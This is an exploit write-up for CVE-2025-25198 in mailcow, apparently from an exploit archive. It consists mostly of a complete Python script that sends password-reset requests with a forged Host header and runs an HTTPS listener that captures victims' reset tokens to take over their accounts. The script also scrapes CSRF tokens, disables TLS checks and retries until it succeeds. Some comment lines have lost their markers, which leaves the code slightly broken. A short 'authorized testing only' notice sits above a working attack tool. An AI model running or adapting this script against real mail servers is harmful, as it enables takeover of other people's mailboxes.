Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning

Date: 2025-10-21

Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla)

Vendor Homepage: https://mailcow.email

Software Link: https://github.com/mailcow/mailcow-dockerized

Version: < 2025-01a (REQUIRED)

Tested on: Ubuntu 22.04.5 LTS, Docker 26.1.3, Docker Compose 2.27.1; mailcow:dockerized 2025-01

CVE : CVE-2025-25198

PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git

mailcow: dockerized < 2025-01a - Host Header Password Reset Poisoning (CVE-2025-25198)

Description:

A flaw in mailcow’s password reset allows Host header poisoning to generate a

reset link pointing to an attacker-controlled domain, potentially enabling account

takeover if a user clicks the poisoned link. Patched in 2025-01a.

References:

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25198

- Vendor advisory: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf

Usage (authorized testing only):

sudo python3 cve-2025-25198.py \

--listen-host 0.0.0.0 \

--base-url https://mail.target.tld \

--username victim@target.tld \

--attacker-host your.ip.or.dns \

--http2

Requirements:

Python 3.8+ ; pip install httpx (or 'requests' for HTTP/1.1)

Legal:

For authorized security testing only. Do NOT target live websites.

from __future__ import annotations

import argparse

import http.server

import os

import re

import ssl

import subprocess

import sys

import threading

from datetime import datetime, timezone

from http import HTTPStatus

from http.server import SimpleHTTPRequestHandler

from typing import Optional, Dict, List, Tuple

from urllib.parse import urlparse, parse_qs

try:

import requests

except Exception:

requests = None

RESET = "\033[0m"

BOLD = "\033[1m"

DIM = "\033[2m"

GREEN = "\033[32m"

CYAN = "\033[36m"

YELLOW = "\033[33m"

MAGENTA = "\033[35m"

ANSI_RE = re.compile(r'\x1b\[[0-9;]*m')

def visible_len(s: str) -> int:

return len(ANSI_RE.sub('', s))

class Console:

def __init__(self, only_final: bool = False) -> None:

self.only_final = only_final

def log(self, msg: str) -> None:

if self.only_final:

return

ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z")

print(f"{DIM}[{ts}]{RESET} {msg}", flush=True)

def banner(self, link: str, source: str = "response") -> None:

host = urlparse(link).hostname or ""

title = f" {BOLD}{GREEN}RESET LINK FOUND!{RESET} {DIM}({source}){RESET}"

link_line = f" {CYAN}{link}{RESET}"

target_line = f" Target: {BOLD}{host}{RESET}" if host else ""

max_content = max(

visible_len(title),

visible_len(link_line),

visible_len(target_line) if host else 0

)

inner_width = max(80, min(150, max_content))

line = "═" * inner_width

def box_line(content: str) -> str:

pad = inner_width - visible_len(content)

if pad < 0:

pad = 0

return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}"

print("")

print(f"{MAGENTA}╔{line}╗{RESET}")

print(box_line(title))

print(f"{MAGENTA}╟{line}╢{RESET}")

print(box_line(link_line))

if host:

print(box_line(target_line))

print(f"{MAGENTA}╚{line}╝{RESET}")

print("")

console = Console(False)

RGX_TOKEN_IN_URL = re.compile(r'reset-password\?token=([^\s"&\'<>]+)', re.I)

RGX_TOKEN_FALLBACK = re.compile(r'\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\b', re.I)

def links_from_text(html: str, base_url: str) -> List[str]:

if not html:

return []

out: List[str] = []

for m in RGX_TOKEN_IN_URL.finditer(html):

out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}")

for m in RGX_TOKEN_FALLBACK.finditer(html):

cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}"

if cand not in out:

out.append(cand)

return out

def links_from_headers(headers: Dict[str, str], base_url: str) -> List[str]:

loc = headers.get("Location") or headers.get("location")

return links_from_text(loc, base_url) if loc else []

class ListenerState:

def __init__(self) -> None:

self.event = threading.Event()

self.last_link: Optional[str] = None

class LoggingHTTPSHandler(SimpleHTTPRequestHandler):

server_version = "PoisonedHostTest/host-only"

error_content_type = "text/plain"

def log_message(self, *_: object) -> None:

return

def _record(self, code: int) -> None:

parsed = urlparse(self.path)

token = parse_qs(parsed.query).get("token") or []

if token:

link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}"

self.server.state.last_link = link

self.server.state.event.set()

if not console.only_final:

console.log(f"{YELLOW}[HIT]{RESET} {self.command} {self.path} ← {self.client_address[0]} [{code}]")

def do_GET(self) -> None:

if self.path.startswith("/favicon"):

self.send_response(HTTPStatus.NO_CONTENT); self.end_headers(); return

self.send_response(HTTPStatus.OK)

self.send_header("Content-Type", "text/html; charset=utf-8")

self.end_headers()

token = parse_qs(urlparse(self.path).query).get("token", [""])[0]

body = f"<!doctype html><meta charset=utf-8><title>OK</title><p>token: <b>{token}</b></p>"

self.wfile.write(body.encode("utf-8"))

self._record(HTTPStatus.OK)

def do_POST(self) -> None:

_ = self.rfile.read(int(self.headers.get("Content-Length", "0") or 0))

self.send_response(HTTPStatus.NO_CONTENT); self.end_headers()

self._record(HTTPStatus.NO_CONTENT)

def ensure_self_signed(cert_file: str, key_file: str, cn: str = "localhost", days: int = 365) -> None:

if os.path.exists(cert_file) and os.path.exists(key_file):

return

console.log("[+] Generating self-signed certificate…")

subprocess.run([

"openssl", "req", "-x509", "-newkey", "rsa:2048",

"-keyout", key_file, "-out", cert_file, "-days", str(days),

"-nodes", "-subj", f"/CN={cn}"

], check=True)

def require_root_for_privileged_port(port: int) -> None:

if port < 1024:

POSIX check: require root if binding <1024

if hasattr(os, "geteuid"):

if os.geteuid() != 0:

print("[-] Port 443 requires root. Re-run with sudo.", file=sys.stderr)

sys.exit(2)

On non-POSIX (e.g., Windows) we don't enforce sudo.

def start_https_listener(host: str, port: int, cert: str, key: str, base_url: str, state: ListenerState):

ensure_self_signed(cert, key)

httpd = http.server.ThreadingHTTPServer((host, port), LoggingHTTPSHandler)

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)

ctx.load_cert_chain(certfile=cert, keyfile=key)

httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)

httpd.target_base_url = base_url

httpd.state = state

threading.Thread(target=httpd.serve_forever, name="https-listener", daemon=True).start()

console.log(f"[+] HTTPS listener on https://{host}:{port}"

return httpd

def add_cookie_string_to_session(session, cookie_header: Optional[str], base_url: str) -> None:

if not cookie_header:

return

host = urlparse(base_url).hostname

for part in re.split(r';\s|,\s', cookie_header.strip()):

if not part or "=" not in part:

continue

name, val = part.split("=", 1)

try:

session.cookies.set(name.strip(), val.strip(), domain=host)

except Exception:

pass

class HttpClient:

def __init__(self, base_url: str, use_http2: bool, cookie_header: Optional[str]) -> None:

self.base_url = base_url.rstrip("/")

self.use_http2 = use_http2

if use_http2:

try:

import httpx

except Exception as e:

raise RuntimeError("Install httpx for --http2: pip install httpx") from e

TLS verification disabled intentionally for testing environments

self.session = httpx.Client(http2=True, verify=False, timeout=20.0, follow_redirects=False)

else:

if requests is None:

raise RuntimeError("Missing 'requests' for HTTP/1.1.")

self.session = requests.Session()

add_cookie_string_to_session(self.session, cookie_header, self.base_url)

def get(self, url: str, headers: Dict[str, str], allow_redirects: bool):

if self.use_http2:

return self.session.get(url, headers=headers or {}, follow_redirects=allow_redirects)

requests: disable TLS verification explicitly

return self.session.get(url, headers=headers or {}, verify=False, timeout=20, allow_redirects=allow_redirects)

def post(self, url: str, headers: Dict[str, str], data: Dict[str, str], allow_redirects: bool):

if self.use_http2:

return self.session.post(url, headers=headers or {}, data=data or {}, follow_redirects=allow_redirects)

return self.session.post(url, headers=headers or {}, data=data or {}, verify=False, timeout=20, allow_redirects=allow_redirects)

RGX_INPUTS = [

re.compile(r'name=["\']csrf_token["\']\s+value=["\']([0-9a-zA-Z_\-./+=:]+)["\']'),

re.compile(r'name=["\']_csrf["\']\s+value=["\']([^"\']+)["\']'),

re.compile(r'name=["\']csrf["\']\s+value=["\']([^"\']+)["\']'),

re.compile(r'name=["\']csrf_token_reset["\']\s+value=["\']([^"\']+)["\']'),

]

RGX_META = re.compile(r'<meta\s+name=["\']csrf-token["\']\s+content=["\']([^"\']+)["\']', re.I)

RGX_JS = [

re.compile(r'csrf_token\s[:=]\s["\']([^"\']+)["\']', re.I),

re.compile(r'window\.\wcsrf\w\s=\s["\']([^"\']+)["\']', re.I),

]

COOKIE_CSRF = ["csrf_token", "_csrf", "XSRF-TOKEN", "CSRF-TOKEN"]

HEX64 = re.compile(r'^[0-9a-f]{64}$', re.I)

def _csrf_candidates_html(html: str) -> List[str]:

if not html:

return []

cands: List[str] = []

for rgx in RGX_INPUTS:

m = rgx.search(html)

if m: cands.append(m.group(1))

m = RGX_META.search(html)

if m: cands.append(m.group(1))

for rgx in RGX_JS:

m = rgx.search(html)

if m: cands.append(m.group(1))

for m in re.finditer(r'csrf_token=([0-9a-zA-Z_\-./+=:]{16,})', html):

cands.append(m.group(1))

seen: set[str] = set()

out: List[str] = []

for v in cands:

if v not in seen:

seen.add(v); out.append(v)

return out

def _csrf_from_set_cookie(headers: Dict[str, str]) -> Optional[str]:

sc = headers.get("Set-Cookie") or headers.get("set-cookie")

if not sc: return None

for cookie in re.split(r',(?=\s*\w+=)', sc):

for name in COOKIE_CSRF:

m = re.search(rf'\b{name}=([^;,\s]+)', cookie, re.I)

if m: return m.group(1)

return None

def _best_csrf(candidates: List[str]) -> Optional[str]:

if not candidates: return None

for c in candidates:

if HEX64.fullmatch(c): return c

return candidates[0]

def nav_headers(base_url: str, attacker_host: str) -> Dict[str, str]:

return {

"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8",

"Accept-Language": "en-US,en;q=0.5",

"Accept-Encoding": "gzip, deflate, br",

"Upgrade-Insecure-Requests": "1",

"Sec-Fetch-Dest": "document",

"Sec-Fetch-Mode": "navigate",

"Sec-Fetch-Site": "same-origin",

"Sec-Fetch-User": "?1",

"Te": "trailers",

"Referer": base_url.rstrip("/") + "/",

"Origin": base_url,

"Host": attacker_host,

}

def fetch_csrf_auto(client: HttpClient, base_url: str, attacker_host: str, username: str) -> str:

paths = ["", "/", "/index.php", "/reset-password", "/login", "/auth", "/user/reset"]

h1 = nav_headers(base_url, attacker_host)

for p in paths:

url = client.base_url + p

try:

r = client.get(url, headers=h1, allow_redirects=True)

text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore")

headers = dict(getattr(r, "headers", {}))

token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))

if token: return token

except Exception as e:

console.log(f"[!] CSRF GET failed at {url}: {e}")

h2 = dict(h1); h2.pop("Host", None)

for p in paths:

url = client.base_url + p

try:

r = client.get(url, headers=h2, allow_redirects=True)

text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore")

headers = dict(getattr(r, "headers", {}))

token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))

if token: return token

except Exception as e:

console.log(f"[!] CSRF GET (no Host) failed at {url}: {e}")

pre_headers = {

"User-Agent": h1["User-Agent"], "Accept": h1["Accept"], "Accept-Language": h1["Accept-Language"],

"Content-Type": "application/x-www-form-urlencoded", "Host": attacker_host,

"Referer": base_url.rstrip("/") + "/", "Origin": base_url, "Upgrade-Insecure-Requests": "1",

}

try:

r = client.post(client.base_url + "/reset-password", headers=pre_headers,

data={"username": username, "pw_reset_request": "", "csrf_token": ""}, allow_redirects=True)

text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore")

headers = dict(getattr(r, "headers", {}))

token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))

if token: return token

except Exception as e:

console.log(f"[!] Preflight POST for CSRF failed: {e}")

raise RuntimeError("Unable to auto-extract csrf_token.")

def looks_like_csrf_error(body: str, status: int) -> bool:

if status in (400, 403): return True

text = (body or "").lower()

return any(k in text for k in ("csrf", "invalid token", "expired token", "forgery", "bad token"))

def run_sequence(client: HttpClient, base_url: str, username: str, csrf: str,

attacker_host: str) -> Tuple[Optional[str], Dict[str, object], str]:

ua = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

headers = {

"User-Agent": ua,

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8",

"Accept-Language": "en-US,en;q=0.5",

"Content-Type": "application/x-www-form-urlencoded",

"Host": attacker_host,

"Referer": base_url.rstrip('/') + "/",

"Origin": base_url,

"Upgrade-Insecure-Requests": "1",

}

r1 = client.get(base_url, headers=headers, allow_redirects=True)

body1 = r1.text if hasattr(r1, "text") else r1.content.decode("utf-8", "ignore")

reset_ep = base_url.rstrip("/") + "/reset-password"

payload = {"username": username, "pw_reset_request": "", "csrf_token": csrf}

r2 = client.post(reset_ep, headers=headers, data=payload, allow_redirects=False)

body2 = r2.text if hasattr(r2, "text") else r2.content.decode("utf-8", "ignore")

r3 = client.get(base_url.rstrip("/") + "/", headers=headers, allow_redirects=False)

body3 = r3.text if hasattr(r3, "text") else r3.content.decode("utf-8", "ignore")

found: List[str] = []

found += links_from_headers(dict(getattr(r1, "headers", {})), base_url)

found += links_from_headers(dict(getattr(r2, "headers", {})), base_url)

found += links_from_headers(dict(getattr(r3, "headers", {})), base_url)

found += links_from_text(body1, base_url)

found += links_from_text(body2, base_url)

found += links_from_text(body3, base_url)

seen: set[str] = set()

clean = [l for l in found if not (l in seen or seen.add(l))]

summary = {

"get1": getattr(r1, "status_code", None),

"post": getattr(r2, "status_code", None),

"get2": getattr(r3, "status_code", None),

"links_found": clean,

}

return (clean[0] if clean else None), summary, body2

def attempt_once(base_url: str, username: str, attacker_host: str,

use_http2: bool,

cookie_header: Optional[str], csrf_override: Optional[str]) -> Tuple[Optional[str], Dict[str, object]]:

client = HttpClient(base_url, use_http2, cookie_header)

if csrf_override:

csrf = csrf_override

console.log(f"[+] Using provided CSRF: {csrf[:16]}…")

else:

csrf = fetch_csrf_auto(client, base_url, attacker_host, username)

console.log(f"[+] Auto CSRF: {csrf[:16]}…")

console.log("[>] Sending sequence with poisoned Host")

link, summary, post_body = run_sequence(client, base_url, username, csrf, attacker_host)

if not link:

post_status = int(summary.get("post") or 0)

if not csrf_override and looks_like_csrf_error(post_body, post_status):

console.log("[!] CSRF invalid/expired. Rotating session and retrying once…")

client = HttpClient(base_url, use_http2, None)

csrf2 = fetch_csrf_auto(client, base_url, attacker_host, username)

console.log(f"[+] Auto CSRF (retry): {csrf2[:16]}…")

link, summary, _ = run_sequence(client, base_url, username, csrf2, attacker_host)

return link, summary

def run_until_success(listen_host: str, base_url: str, username: str,

attacker_host: str, use_http2: bool,

interval: float, max_attempts: int,

cookie_header: Optional[str], csrf_override: Optional[str]) -> Optional[str]:

Force port 443 and require sudo/root on POSIX

listen_port = 443

require_root_for_privileged_port(listen_port)

state = ListenerState()

srv = start_https_listener(listen_host, listen_port, "server.pem", "server.key", base_url, state)

try:

attempt = 0

while True:

attempt += 1

if max_attempts and attempt > max_attempts:

console.log("[i] Reached --max-attempts without success.")

return None

try:

link, _summary = attempt_once(base_url, username, attacker_host, use_http2, cookie_header, csrf_override)

except Exception as e:

console.log(f"[!] Attempt #{attempt} error: {e}")

link = None

if link:

console.banner(link, source="response")

return link

if state.event.wait(timeout=interval):

link = state.last_link

if link:

console.banner(link, source="listener")

return link

console.log(f"[i] Attempt #{attempt} yielded no link. Retrying in {int(interval)}s…")

except KeyboardInterrupt:

console.log("[+] Aborted by user.")

return None

finally:

try: srv.shutdown()

except Exception: pass

def main() -> None:

p = argparse.ArgumentParser(

description="Host header poisoning tester (Mailcow CVE-2025-25198) — HTTPS listener on port 443 (requires sudo/root), auto-cookie + auto-CSRF (or --csrf), retry, Host-only"

)

p.add_argument("--listen-host", required=True)

p.add_argument("--base-url", required=True)

p.add_argument("--username", required=True)

p.add_argument("--attacker-host", required=True)

p.add_argument("--http2", action="store_true", help="Use HTTP/2 (recommended)")

p.add_argument("--interval", type=float, default=8.0, help="Seconds between attempts and click wait window")

p.add_argument("--max-attempts", type=int, default=0, help="0=infinite; >0 limits attempts")

p.add_argument("--cookie", default=None, help="(Optional) inject cookies, e.g., PHPSESSID=...")

p.add_argument("--csrf", default=None, help="(Optional) provide csrf_token explicitly (auto if omitted)")

p.add_argument("--only-final", action="store_true", help="Hide progress; print only the final link banner")

args = p.parse_args()

global console

console = Console(only_final=args.only_final)

if not args.http2 and requests is None:

console.log("[!] Install 'requests' or use --http2 with 'httpx'."); sys.exit(2)

if not args.http2:

console.log("[i] Running over HTTP/1.1 (requests). For best parity, use --http2.")

link = run_until_success(

listen_host=args.listen_host,

base_url=args.base_url,

username=args.username,

attacker_host=args.attacker_host,

use_http2=args.http2,

interval=args.interval,

max_attempts=args.max_attempts,

cookie_header=args.cookie,

csrf_override=args.csrf,

)

if link:

if not args.only_final:

print(f"{BOLD}{GREEN}Success:{RESET} reset link obtained. Exiting.")

else:

if not args.only_final:

print("[i] No success (attempts exhausted or aborted).")

if __name__ == "__main__":

main()